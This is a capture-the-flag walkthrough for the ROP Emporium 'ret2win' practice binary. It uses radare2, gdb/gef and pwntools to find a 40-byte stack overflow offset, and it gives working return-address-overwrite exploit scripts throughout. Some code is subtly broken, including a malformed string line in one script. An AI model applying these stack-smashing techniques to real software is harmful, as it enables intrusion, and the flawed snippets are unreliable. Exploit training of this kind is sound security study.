App:ret2win
https://ropemporium.com/binary/ret2win.zip
https://ropemporium.com/binary/ret2win32.zip
Target:Locate a method within the binary that you want to call and do so by overwriting a saved return address on the stack.
Tools:radare2, r2dec, pwntools, gef
Solution:
1. At first, we need to know which address could be overwirte,it's radare2's show time.
┌─[root@parrot]─[~/ret2win_pwn]
└──╼ #r2 -Ad ret2win //load ret2win in debug mode.
[0x7fd4834d2090]> afl //show all functions
0x00400650 1 41 entry0
0x00400610 1 6 sym.imp.__libc_start_main
0x00400680 4 50 -> 41 sym.deregister_tm_clones
0x004006c0 4 58 -> 55 sym.register_tm_clones
0x00400700 3 28 entry.fini0
0x00400720 4 38 -> 35 entry.init0
0x004007b5 1 92 sym.pwnme
0x00400600 1 6 sym.imp.memset
0x004005d0 1 6 sym.imp.puts
0x004005f0 1 6 sym.imp.printf
0x00400620 1 6 sym.imp.fgets
0x00400811 1 32 sym.ret2win
0x004005e0 1 6 sym.imp.system
0x004008b0 1 2 sym.__libc_csu_fini
0x004008b4 1 9 sym._fini
0x00400840 4 101 sym.__libc_csu_init
0x00400746 1 111 main
0x00400630 1 6 sym.imp.setvbuf
0x004005a0 3 26 sym._init
0x00400640 1 6 sym..plt.got
[0x7fd4834d2090]> s main //jump to the first address for main function.
/ (fcn) main 111
| int main (int argc, char **argv, char **envp);
| ; DATA XREF from entry0 (0x40066d)
| 0x00400746 55 push rbp
| 0x00400747 4889e5 mov rbp, rsp
| 0x0040074a 488b050f0920. mov rax, qword [obj.stdout]; MOV rax = [0x601060] = 0x0 rbp
; obj.__TMC_END ; [0x601060:8]=0
| 0x00400751 b900000000 mov ecx, 0
| 0x00400756 ba02000000 mov edx, 2
| 0x0040075b be00000000 mov esi, 0
| 0x00400760 4889c7 mov rdi, rax
| 0x00400763 e8c8feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
| 0x00400768 488b05110920. mov rax, qword [obj.stderr]; MOV rax = [0x601080] = 0x0 rbp
; obj.stderr__GLIBC_2.2.5 ; [0x601080:8]=0
| 0x0040076f b900000000 mov ecx, 0
| 0x00400774 ba02000000 mov edx, 2
| 0x00400779 be00000000 mov esi, 0
| 0x0040077e 4889c7 mov rdi, rax
| 0x00400781 e8aafeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
| 0x00400786 bfc8084000 mov edi, str.ret2win_by_ROP_Emporium ; 0x4008c8 ; "ret2win by ROP Emporium"
| 0x0040078b e840feffff call sym.imp.puts ; int puts(const char *s)
| 0x00400790 bfe0084000 mov edi, str.64bits ; 0x4008e0 ; "64bits\n" //This string could be show flag.
------------------------------------------------------------
| 0x00400795 e836feffff call sym.imp.puts ; int puts(const char *s)
| 0x0040079a b800000000 mov eax, 0
| 0x0040079f e811000000 call sym.pwnme
| 0x004007a4 bfe8084000 mov edi, str.Exiting ; 0x4008e8 ; "\nExiting"
| 0x004007a9 e822feffff call sym.imp.puts ; int puts(const char *s)
| 0x004007ae b800000000 mov eax, 0
| 0x004007b3 5d pop rbp
\ 0x004007b4 c3 ret
[0x00400746]> pd @ str.64bits
;-- "64bits\n":
; DATA XREF from main (0x400790)
0x004008e0 .string "64bits\n" ; len=8
;-- "\nExiting":
; DATA XREF from main (0x4007a4)
0x004008e8 .string "\nExiting" ; len=9
0x004008f1 0000 add byte [rax], al
0x004008f3 0000 add byte [rax], al
0x004008f5 0000 add byte [rax], al
0x004008f7 ~ 00466f add byte [rsi + 0x6f], al
;-- "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?":
; DATA XREF from sym.pwnme (0x4007d3)
0x004008f8 .string "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?" ; len=126
||||||| 0x00400976 0000 add byte [rax], al
||||||| ;-- "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n":
||||||| ; DATA XREF from sym.pwnme (0x4007dd)
||||||| 0x00400978 .string "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n" ; len=101
|| ; DATA XREF from sym.pwnme (0x4007e7)
|| 0x004009dd 3e2000 and byte ds:[rax], al
|| ;-- "Thank you! Here's your flag:":
|| ; DATA XREF from sym.ret2win (0x400815)
|| 0x004009e0 .string "Thank you! Here's your flag:" ; len=29
;-- hit1_0:
;-- hit2_0:
0x004009f7 .string "Thank you! Here's your flag:" ; len=29
;-- "/bin/cat flag.txt":
; DATA XREF from sym.ret2win (0x400824)
0x004009fd .string "/bin/cat flag.txt" ; len=18
;-- hit1_1:
;-- hit2_1:
0x00400a06 .string "/bin/cat flag.txt" ; len=18
0x00400a0f ~ 0001 add byte [rcx], al
The string "/bin/cat flag.txt" reference from sym.ret2win,we goto the function sym.ret2win.
[0x00400746]> s sym.ret2win //Goto the first address of ret2win function.
[0x00400811]> pdf //Show disassaemble code.
/ (fcn) sym.ret2win 32
| sym.ret2win ();
| 0x00400811 55 push rbp
| 0x00400812 4889e5 mov rbp, rsp
| 0x00400815 bfe0094000 mov edi, str.Thank_you__Here_s_your_flag: ; 0x4009e0 ; "Thank you! Here's your flag:"
| 0x0040081a b800000000 mov eax, 0
| 0x0040081f e8ccfdffff call sym.imp.printf ; int printf(const char *format)
| 0x00400824 bffd094000 mov edi, str.bin_cat_flag.txt ; 0x4009fd ; "/bin/cat flag.txt"
| 0x00400829 e8b2fdffff call sym.imp.system ; int system(const char *string)
| 0x0040082e 90 nop
| 0x0040082f 5d pop rbp
\ 0x00400830 c3 ret
[0x00400811]> pd -20 //show 20 lines up
| 0x004007bd 488d45e0 lea rax, [var_20h]
| 0x004007c1 ba20000000 mov edx, 0x20 ; 32
| 0x004007c6 be00000000 mov esi, 0
| 0x004007cb 4889c7 mov rdi, rax
| 0x004007ce e82dfeffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| 0x004007d3 bff8084000 mov edi, str.For_my_first_trick__I_will_attempt_to_fit_50_bytes_of_user_input_into_32_bytes_of_stack_buffer___What_could_possibly_go_wrong ; 0x4008f8 ; "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?"
| 0x004007d8 e8f3fdffff call sym.imp.puts ; int puts(const char *s)
| 0x004007dd bf78094000 mov edi, str.You_there_madam__may_I_have_your_input_please__And_don_t_worry_about_null_bytes__we_re_using_fgets ; 0x400978 ; "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n"
| 0x004007e2 e8e9fdffff call sym.imp.puts ; int puts(const char *s)
| 0x004007e7 bfdd094000 mov edi, 0x4009dd
| 0x004007ec b800000000 mov eax, 0
| 0x004007f1 e8fafdffff call sym.imp.printf ; int printf(const char *format)
| 0x004007f6 488b15730820. mov rdx, qword [obj.stdin]; MOV rdx = [0x601070] = 0x0 rbp
; obj.stdin__GLIBC_2.2.5 ; [0x601070:8]=0
| 0x004007fd 488d45e0 lea rax, [var_20h]
| 0x00400801 be32000000 mov esi, 0x32 ; '2' ; 50
| 0x00400806 4889c7 mov rdi, rax
| 0x00400809 e812feffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x0040080e 90 nop
| 0x0040080f c9 leave
\ 0x00400810 c3 ret
Here is a return at 0x00400810,and next address is begin of the ret2win function.we could pacth this address with follow,it will skip return.
[0x00400811]> wa nop @ 0x00400810
or
[0x00400811]> wx 90 @ 0x00400810
[0x00400811]> dc //Execute the binary.
ret2win by ROP Emporium
64bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> 1111111
Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
//Amazing the flag jump out.
child stopped with signal 17
[+] SIGNAL 17 errno=0 addr=0x00000723 code=1 ret=0
[+] signal 17 aka SIGCHLD received 0
We could use r2pipe plugin to create a script like below,
#!/usr/bin/env python2
import r2pipe
r =r2pipe.open('./ret2win',['-w'])
r.cmd('aaa')
r.cmd('wa ret @ 0x00400810')
r.quit()
2. In other way,we could use gdb to anaylze the bianary.
Only target:change the execute flow for the binary in order to run 'cat flag.txt' command,the return address is:0x00400810 as we already know.
┌─[root@parrot]─[~/ret2win_pwn]
└──╼ #gdb ret2win
gef➤ disassemble main
Dump of assembler code for function main:
0x0000000000400746 <+0>: push rbp
0x0000000000400747 <+1>: mov rbp,rsp
=> 0x000000000040074a <+4>: mov rax,QWORD PTR [rip+0x20090f] # 0x601060 <stdout@@GLIBC_2.2.5>
0x0000000000400751 <+11>: mov ecx,0x0
0x0000000000400756 <+16>: mov edx,0x2
0x000000000040075b <+21>: mov esi,0x0
0x0000000000400760 <+26>: mov rdi,rax
0x0000000000400763 <+29>: call 0x400630 <setvbuf@plt>
0x0000000000400768 <+34>: mov rax,QWORD PTR [rip+0x200911] # 0x601080 <stderr@@GLIBC_2.2.5>
0x000000000040076f <+41>: mov ecx,0x0
0x0000000000400774 <+46>: mov edx,0x2
0x0000000000400779 <+51>: mov esi,0x0
0x000000000040077e <+56>: mov rdi,rax
0x0000000000400781 <+59>: call 0x400630 <setvbuf@plt>
0x0000000000400786 <+64>: mov edi,0x4008c8
0x000000000040078b <+69>: call 0x4005d0 <puts@plt>
0x0000000000400790 <+74>: mov edi,0x4008e0
0x0000000000400795 <+79>: call 0x4005d0 <puts@plt>
0x000000000040079a <+84>: mov eax,0x0
0x000000000040079f <+89>: call 0x4007b5 <pwnme>
0x00000000004007a4 <+94>: mov edi,0x4008e8
0x00000000004007a9 <+99>: call 0x4005d0 <puts@plt>
0x00000000004007ae <+104>: mov eax,0x0
0x00000000004007b3 <+109>: pop rbp
0x00000000004007b4 <+110>: ret
gef➤ disassemble pwnme
Dump of assembler code for function pwnme:
0x00000000004007b5 <+0>: push rbp
0x00000000004007b6 <+1>: mov rbp,rsp
0x00000000004007b9 <+4>: sub rsp,0x20
0x00000000004007bd <+8>: lea rax,[rbp-0x20]
0x00000000004007c1 <+12>: mov edx,0x20
0x00000000004007c6 <+17>: mov esi,0x0
0x00000000004007cb <+22>: mov rdi,rax
0x00000000004007ce <+25>: call 0x400600 <memset@plt>
0x00000000004007d3 <+30>: mov edi,0x4008f8
0x00000000004007d8 <+35>: call 0x4005d0 <puts@plt>
0x00000000004007dd <+40>: mov edi,0x400978
0x00000000004007e2 <+45>: call 0x4005d0 <puts@plt>
0x00000000004007e7 <+50>: mov edi,0x4009dd
0x00000000004007ec <+55>: mov eax,0x0
0x00000000004007f1 <+60>: call 0x4005f0 <printf@plt>
0x00000000004007f6 <+65>: mov rdx,QWORD PTR [rip+0x200873] # 0x601070 <stdin@@GLIBC_2.2.5>
0x00000000004007fd <+72>: lea rax,[rbp-0x20]
0x0000000000400801 <+76>: mov esi,0x32
0x0000000000400806 <+81>: mov rdi,rax
0x0000000000400809 <+84>: call 0x400620 <fgets@plt>
0x000000000040080e <+89>: nop
0x000000000040080f <+90>: leave
0x0000000000400810 <+91>: ret
gef➤ disassemble ret2win
Dump of assembler code for function ret2win:
0x0000000000400811 <+0>: push rbp
0x0000000000400812 <+1>: mov rbp,rsp
0x0000000000400815 <+4>: mov edi,0x4009e0
0x000000000040081a <+9>: mov eax,0x0
0x000000000040081f <+14>: call 0x4005f0 <printf@plt>
0x0000000000400824 <+19>: mov edi,0x4009fd
0x0000000000400829 <+24>: call 0x4005e0 <system@plt>
0x000000000040082e <+29>: nop
0x000000000040082f <+30>: pop rbp
0x0000000000400830 <+31>: ret
We could use r2dec plugin of radare2 to disassable pwnme function to readable code like below,it could check the length of buffer for input.
[0x00400746]> s sym.pwnme
[0x004007b5]> pdda
; assembly | /* r2dec pseudo code output */
| /* /root/ret2win_pwn/ret2win @ 0x4007b5 */
| #include <stdint.h>
|
; (fcn) sym.pwnme () | uint64_t pwnme (void) {
| int32_t var_20h;
0x004007b5 push rbp |
0x004007b6 mov rbp, rsp |
0x004007b9 sub rsp, 0x20 |
0x004007bd lea rax, [rbp - 0x20] | rax = &var_20h;
0x004007c1 mov edx, 0x20 |
0x004007c6 mov esi, 0 |
0x004007cb mov rdi, rax |
0x004007ce call 0x400600 | memset (rax, 0, 0x20);
0x004007d3 mov edi, 0x4008f8 |
0x004007d8 call 0x4005d0 | puts ("For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?");
0x004007dd mov edi, 0x400978 |
0x004007e2 call 0x4005d0 | puts ("You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n");
0x004007e7 mov edi, 0x4009dd |
0x004007ec mov eax, 0 | eax = 0;
0x004007f1 call 0x4005f0 | printf (0x4009dd);
0x004007f6 mov rdx, qword [rip + 0x200873] |
0x004007fd lea rax, [rbp - 0x20] | rax = &var_20h;
0x00400801 mov esi, 0x32 |
0x00400806 mov rdi, rax |
0x00400809 call 0x400620 | fgets (rax, 0x32, *(obj.stdin));
0x0040080e nop |
0x0040080f leave |
0x00400810 ret | return rax;
| }
The disassembly code "fgets (rax, 0x32, *(obj.stdin));" shows us the input buffer's lenth is 50.
We could use gef to generate a payload string,or use ragg2 or pwn as below.
In gef session,
gef➤pattern create 50
[+] Generating a pattern of 50 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
[+] Saved as '$_gef0'
under shell session,
┌─[✗]─[root@parrot]─[~]
└──╼ #pwn cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
┌─[root@parrot]─[~]
└──╼ #ragg2 -P 50 -r ;echo
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQA
Return to gdb session,run the binary with payload as input.
gef➤ b *0x0000000000400810
gef➤ r
Starting program: /root/ret2win_pwn/ret2win
ret2win by ROP Emporium
64bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
Program received signal SIGSEGV, Segmentation fault.
gef➤ x/s $rsp
0x7fffffffe1c8: "faaaaaaag"
gef➤ pattern search faaa
[+] Searching 'faaa'
[+] Found at offset 37 (little-endian search) likely
[+] Found at offset 40 (big-endian search)
gef➤
We could found the rsp regsiter has been overwriten by "faaaaaaag",so the real lenth which input could accept is 40. "pattern search faaa" command could validate it.
Generate a python script,
#!/usr/bin/env python2
import struct
import random
padding = "A"* 40
rbp = struct.pack("L",random.choice([0x0000000000400811,0x0000000000400812,0x0000000000400815,0x000000000040081a,0x000000000040081f,0x0000000000400824]))
#payload = "A"*4
#sh_bin = struct.pack("I",0x004009f0)
print padding + rbp # +payload + sh_bin
Use pwntools to generate exploit.
┌─[root@parrot]─[~/ret2win_pwn]
└──╼ #python2 -c 'from pwn import *;print " /bin/sh".ljust(40,"A")+p64(0x0000000000400811)'
/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1@\x00\x00\x00\x00\x00
┌─[root@parrot]─[~/ret2win_pwn] └──╼ #python2 -c 'from pwn import *;print " /bin/sh".ljust(40,"A")+p64(0x0000000000400811)' |./ret2win ret2win by ROP Emporium 64bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!} Segmentation fault (core dumped)
So the script like below.
─[✗]─[root@parrot]─[~/ret2win_pwn]
└──╼ #cat exploit_pwn.py
#!/usr/bin/env python2
import random
from pwn import *
BIN = "./ret2win"
p = process(BIN)
x ="" /bin/sh".ljust(40,"!")+p64(random.choice([0x0000000000400811,0x0000000000400812,0x0000000000400815,0x000000000040081a,0x000000000040081f,0x0000000000400824]))
p.sendlineafter("> ",x)
p.interactive()
p.close()
Third method,use rop mode of pwntools to generator exploit.
┌─[root@parrot]─[~/ret2win_pwn]
└──╼ #pwn template ./ret2win > ret2win_64.py
Complete the script as below.
┌─[root@parrot]─[~/ret2win_pwn]
└──╼ #cat exploit_rop.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ret2win
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('ret2win')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break *0x{exe.symbols.main:x}
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
io = start()
buf = ''
buf += "A"*(cyclic_find('faaaaaaa',n=8)-len(buf))
r = ROP(exe)
r.call('ret2win',[])
log.info(r.dump())
buf += str(r)
io.sendline(buf)
io.recvuntil('flag:')
log.success('Flag is: %s' % io.recvall())
the script for 32bit binary like below,
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF('ret2win')
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
break *0x{exe.symbols.main:x}
continue
'''.format(**locals())
io = start()
buf = ''
buf += "A"*(cyclic_find('laaa')-len(buf))
r = ROP(exe)
r.call('ret2win',[])
log.info(r.dump())
buf += str(r)
io.sendline(buf)
io.recvuntil('flag:')
log.success('Flag is: %s' % io.recvall())